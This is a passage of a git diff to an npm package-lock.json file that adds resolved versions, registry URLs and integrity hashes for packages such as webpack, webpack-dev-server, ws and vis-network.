"sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vfile": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", + "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "is-buffer": "^2.0.0", + "unist-util-stringify-position": "^2.0.0", + "vfile-message": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz", + "integrity": "sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vis-data": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.2.tgz", + "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/visjs" + }, + "peerDependencies": { + "uuid": "^7.0.0 || ^8.0.0", + "vis-util": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/vis-network": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.1.0.tgz", + "integrity": "sha512-rx96L144RJWcqOa6afjiFyxZKUerRRbT/YaNMpsusHdwzxrVTO2LlduR45PeJDEztrAf3AU5l2zmiG+1ydUZCw==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/visjs" + }, + "peerDependencies": { + "@egjs/hammerjs": "^2.0.0", + "component-emitter": "^1.3.0", + "keycharm": "^0.2.0 || ^0.3.0 || ^0.4.0", + "timsort": "^0.3.0", + "uuid": "^3.4.0 || ^7.0.0 || ^8.0.0", + "vis-data": "^7.0.0", + "vis-util": "^5.0.1" + } + }, + "node_modules/warning": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", + "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/watchpack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.2.0.tgz", + "integrity": "sha512-up4YAn/XHgZHIxFBVCdlMiWDj6WaLKpwVeGQk2I5thdYxF/KmF0aaz6TfJZ/hfl1h/XlcDr7k1KH7ThDagpFaA==", + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dev": true, + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/webpack": { + "version": "5.58.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.58.0.tgz", + "integrity": "sha512-xc2k5MLbR1iah24Z5xUm1nBh1PZXEdUnrX6YkTSOScq/VWbl5JCLREXJzGYqEAUbIO8tZI+Dzv82lGtnuUnVCQ==", + "dependencies": { + "@types/eslint-scope": "^3.7.0", + "@types/estree": "^0.0.50", + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/wasm-edit": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1", + "acorn": "^8.4.1", + "acorn-import-assertions": "^1.7.6", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.8.3", + "es-module-lexer": "^0.9.0", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.4", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.1.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.1.3", + "watchpack": "^2.2.0", + "webpack-sources": "^3.2.0" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-cli": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.9.0.tgz", + "integrity": "sha512-n/jZZBMzVEl4PYIBs+auy2WI0WTQ74EnJDiyD98O2JZY6IVIHJNitkYp/uTXOviIOMfgzrNvC9foKv/8o8KSZw==", + "dev": true, + "dependencies": { + "@discoveryjs/json-ext": "^0.5.0", + "@webpack-cli/configtest": "^1.1.0", + "@webpack-cli/info": "^1.4.0", + "@webpack-cli/serve": "^1.6.0", + "colorette": "^2.0.14", + "commander": "^7.0.0", + "execa": "^5.0.0", + "fastest-levenshtein": "^1.0.12", + "import-local": "^3.0.2", + "interpret": "^2.2.0", + "rechoir": "^0.7.0", + "v8-compile-cache": "^2.2.0", + "webpack-merge": "^5.7.3" + }, + "bin": { + "webpack-cli": "bin/cli.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "peerDependencies": { + "webpack": "4.x.x || 5.x.x" + }, + "peerDependenciesMeta": { + "@webpack-cli/generators": { + "optional": true + }, + "@webpack-cli/migrate": { + "optional": true + }, + "webpack-bundle-analyzer": { + "optional": true + }, + "webpack-dev-server": { + "optional": true + } + } + }, + "node_modules/webpack-cli/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/webpack-cli/node_modules/v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "dev": true + }, + "node_modules/webpack-dev-middleware": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.2.1.tgz", + "integrity": "sha512-Kx1X+36Rn9JaZcQMrJ7qN3PMAuKmEDD9ZISjUj3Cgq4A6PtwYsC4mpaKotSRYH3iOF6HsUa8viHKS59FlyVifQ==", + "dev": true, + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.2.2", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^3.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-middleware/node_modules/@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", + "dev": true + }, + "node_modules/webpack-dev-middleware/node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/webpack-dev-middleware/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.3.1.tgz", + "integrity": "sha512-qNXQCVYo1kYhH9pgLtm8LRNkXX3XzTfHSj/zqzaqYzGPca+Qjr+81wj1jgPMCHhIhso9WEQ+kX9z23iG9PzQ7w==", + "dev": true, + "dependencies": { + "ansi-html-community": "^0.0.8", + "bonjour": "^3.5.0", + "chokidar": "^3.5.1", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^1.6.0", + "del": "^6.0.0", + "express": "^4.17.1", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.0", + "internal-ip": "^6.2.0", + "ipaddr.js": "^2.0.1", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "portfinder": "^1.0.28", + "schema-utils": "^3.1.0", + "selfsigned": "^1.10.11", + "serve-index": "^1.9.1", + "sockjs": "^0.3.21", + "spdy": "^4.0.2", + "strip-ansi": "^7.0.0", + "url": "^0.11.0", + "webpack-dev-middleware": "^5.2.1", + "ws": "^8.1.0" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", + "dev": true + }, + "node_modules/webpack-dev-server/node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-server/node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/webpack-dev-server/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/webpack-dev-server/node_modules/graceful-fs": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", + "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==", + "dev": true + }, + "node_modules/webpack-dev-server/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server/node_modules/strip-ansi": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.0.1.tgz", + "integrity": "sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/webpack-merge": { + "version": "5.8.0", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.8.0.tgz", + "integrity": "sha512-/SaI7xY0831XwP6kzuwhKWVKDP9t1QY1h65lAFLbZqMPIuYcD9QAW4u9STIbU9kaJbPBB/geU/gLr1wDjOhQ+Q==", + "dev": true, + "dependencies": { + "clone-deep": "^4.0.1", + "wildcard": "^2.0.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.1.tgz", + "integrity": "sha512-t6BMVLQ0AkjBOoRTZgqrWm7xbXMBzD+XDq2EZ96+vMfn3qKgsvdXZhbPZ4ElUOpdv4u+iiGe+w3+J75iy/bYGA==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==" + }, + "node_modules/webpack/node_modules/acorn": { + "version": "8.5.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz", + "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/webpack/node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack/node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/webpack/node_modules/enhanced-resolve": { + "version": "5.8.3", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.8.3.tgz", + "integrity": "sha512-EGAbGvH7j7Xt2nc0E7D99La1OiEs8LnyimkRgwExpUMScN6O+3x9tIWs7PLQZVNx4YD+00skHXPXi1yQHpAmZA==", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/webpack/node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/webpack/node_modules/esrecurse/node_modules/estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/webpack/node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" + }, + "node_modules/webpack/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack/node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "dev": true, + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz", + "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q==" + }, + "node_modules/whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" + }, + "node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/wildcard": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.0.tgz", + "integrity": "sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw==", + "dev": true + }, + "node_modules/word-wrap": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", + "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true + }, + "node_modules/write": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz", + "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==", + "dev": true, + "dependencies": { + "mkdirp": "^0.5.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dev": true, + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/ws": { + "version": "8.2.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.2.3.tgz", + "integrity": "sha512-wBuoj1BDpC6ZQ1B7DWQBYVLphPWkm8i9Y0/3YdHjHKHiohOJ1ws+3OccDWtH+PoC9DZD5WOTrJvNbWvjS6JWaA==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true, + "engines": { + "node": ">=0.4" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zwitch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", + "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + }, "dependencies": { "@babel/cli": { "version": "7.15.7", @@ -2645,7 +20840,8 @@ "@kunukn/react-collapse": { "version": "1.2.7", "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz", - "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==" + "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==", + "requires": {} }, "@material-ui/core": { "version": "4.12.3", @@ -2711,7 +20907,8 @@ "@material-ui/types": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@material-ui/types/-/types-5.1.0.tgz", - "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==" + "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==", + "requires": {} }, "@material-ui/utils": { "version": "4.11.2", @@ -2779,7 +20976,8 @@ "@restart/context": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/@restart/context/-/context-2.1.4.tgz", - "integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==" + "integrity": 